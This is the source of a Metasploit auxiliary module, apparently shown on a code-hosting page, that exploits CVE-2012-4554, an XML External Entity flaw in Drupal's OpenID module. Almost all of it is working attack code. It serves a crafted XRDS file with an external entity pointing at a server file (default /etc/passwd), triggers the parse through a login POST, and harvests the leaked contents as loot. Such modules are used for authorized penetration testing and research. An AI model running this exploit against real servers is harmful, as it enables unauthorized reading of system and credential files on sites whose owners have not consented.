Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/gather/drupal_openid_xxe.rb
19593 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::HttpClient
8
include Msf::Exploit::Remote::HttpServer::HTML
9
include REXML
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Drupal OpenID External Entity Injection',
16
'Description' => %q{
17
This module abuses an XML External Entity Injection
18
vulnerability on the OpenID module from Drupal. The vulnerability exists
19
in the parsing of a malformed XRDS file coming from a malicious OpenID
20
endpoint. This module has been tested successfully on Drupal 7.15 and
21
7.2 with the OpenID module enabled.
22
},
23
'License' => MSF_LICENSE,
24
'Author' => [
25
'Reginaldo Silva', # Vulnerability discovery
26
'juan vazquez' # Metasploit module
27
],
28
'References' => [
29
[ 'CVE', '2012-4554' ],
30
[ 'OSVDB', '86429' ],
31
[ 'BID', '56103' ],
32
[ 'URL', 'https://drupal.org/node/1815912' ],
33
[ 'URL', 'https://github.com/drupal/drupal/commit/b9127101ffeca819e74a03fa9f5a48d026c562e5' ],
34
[ 'URL', 'https://www.ubercomp.com/posts/2014-01-16_facebook_remote_code_execution' ]
35
],
36
'DisclosureDate' => '2012-10-17',
37
'Notes' => {
38
'Reliability' => UNKNOWN_RELIABILITY,
39
'Stability' => UNKNOWN_STABILITY,
40
'SideEffects' => UNKNOWN_SIDE_EFFECTS
41
}
42
)
43
)
44
45
register_options(
46
[
47
OptString.new('TARGETURI', [ true, "Base Drupal directory path", '/drupal']),
48
OptString.new('FILEPATH', [true, "The filepath to read on the server", "/etc/passwd"])
49
]
50
)
51
end
52
53
def xrds_file
54
element_entity = <<~EOF
55
<!ELEMENT URI ANY>
56
<!ENTITY xxe SYSTEM "file://#{datastore['FILEPATH']}">
57
EOF
58
59
xml = Document.new
60
61
xml.add(DocType.new('foo', "[ #{element_entity} ]"))
62
63
xml.add_element(
64
"xrds:XRDS",
65
{
66
'xmlns:xrds' => "xri://$xrds",
67
'xmlns' => "xri://$xrd*($v*2.0)",
68
'xmlns:openid' => "http://openid.net/xmlns/1.0",
69
}
70
)
71
72
xrd = xml.root.add_element("XRD")
73
74
xrd.add_element(
75
"Status",
76
{
77
"cid" => "verified"
78
}
79
)
80
provider = xrd.add_element("ProviderID")
81
provider.text = "xri://@"
82
83
canonical = xrd.add_element("CanonicalID")
84
canonical.text = "http://example.com/user"
85
86
service = xrd.add_element("Service")
87
88
type_one = service.add_element("Type")
89
type_one.text = "http://specs.openid.net/auth/2.0/signon"
90
91
type_two = service.add_element("Type")
92
type_two.text = "http://openid.net/srv/ax/1.0"
93
94
uri = service.add_element("URI")
95
uri.text = "METASPLOIT"
96
97
local_id = service.add_element("LocalID")
98
local_id.text = "http://example.com/xrds"
99
100
return xml.to_s.gsub(/METASPLOIT/, "#{get_uri}/#{@prefix}/&xxe;/#{@suffix}") # To avoid html encoding
101
end
102
103
def check
104
signature = Rex::Text.rand_text_alpha(5 + rand(5))
105
res = send_openid_auth(signature)
106
107
unless res
108
vprint_status("Connection timed out")
109
return Exploit::CheckCode::Unknown
110
end
111
112
if drupal_with_openid?(res, signature)
113
return Exploit::CheckCode::Detected
114
end
115
116
if generated_with_drupal?(res)
117
return Exploit::CheckCode::Safe
118
end
119
120
return Exploit::CheckCode::Unknown
121
end
122
123
def run
124
@prefix = Rex::Text.rand_text_alpha(4 + rand(4))
125
@suffix = Rex::Text.rand_text_alpha(4 + rand(4))
126
exploit
127
end
128
129
def primer
130
res = send_openid_auth(get_uri)
131
132
if res.nil?
133
# nothing to do here...
134
service.stop
135
return
136
end
137
138
unless res.code == 500
139
print_warning("Unexpected answer, trying to parse anyway...")
140
end
141
142
error_loot = parse_loot(res.body)
143
144
# Check if file was retrieved on the drupal answer
145
# Better results, because there isn't URL encoding,
146
# plus probably allows to retrieve longer files.
147
print_status("Searching loot on the Drupal answer...")
148
unless loot?(error_loot)
149
# Check if file was leaked to the fake OpenID endpoint
150
# Contents are probably URL encoded, plus probably long
151
# files aren't full, but something is something :-)
152
print_status("Searching loot on HTTP query...")
153
loot?(@http_loot)
154
end
155
156
# stop the service so the auxiliary module ends
157
service.stop
158
end
159
160
def on_request_uri(cli, request)
161
if request.uri =~ /#{@prefix}/
162
vprint_status("Signature found, parsing file...")
163
@http_loot = parse_loot(request.uri)
164
return
165
end
166
167
print_status("Sending XRDS...")
168
send_response_html(cli, xrds_file, { 'Content-Type' => 'application/xrds+xml' })
169
end
170
171
def send_openid_auth(identifier)
172
res = send_request_cgi({
173
'uri' => normalize_uri(target_uri.to_s, "/"),
174
'method' => 'POST',
175
'vars_get' => {
176
"q" => "node",
177
"destination" => "node"
178
},
179
'vars_post' => {
180
"openid_identifier" => identifier,
181
"name" => "",
182
"pass" => "",
183
"form_id" => "user_login_block",
184
"op" => "Log in"
185
}
186
})
187
188
return res
189
end
190
191
def store(data)
192
path = store_loot("drupal.file", "text/plain", rhost, data, datastore['FILEPATH'])
193
print_good("File found and saved to path: #{path}")
194
end
195
196
def parse_loot(data)
197
return nil if data.blank?
198
199
# Full file found
200
if data =~ /#{@prefix}\/(.*)\/#{@suffix}/m
201
return $1
202
end
203
204
# Partial file found
205
if data =~ /#{@prefix}\/(.*)/m
206
return $1
207
end
208
209
return nil
210
end
211
212
def loot?(data)
213
return false if data.blank?
214
215
store(data)
216
return true
217
end
218
219
def drupal_with_openid?(http_response, signature)
220
return false if http_response.blank?
221
return false unless http_response.code == 200
222
return false unless http_response.body =~ /openid_identifier.*#{signature}/
223
224
return true
225
end
226
227
def generated_with_drupal?(http_response)
228
return false if http_response.blank?
229
return true if http_response.headers['X-Generator'] and http_response.headers['X-Generator'] =~ /Drupal/
230
return true if http_response.body and http_response.body.to_s =~ /meta.*Generator.*Drupal/
231
232
return false
233
end
234
235
end
236
237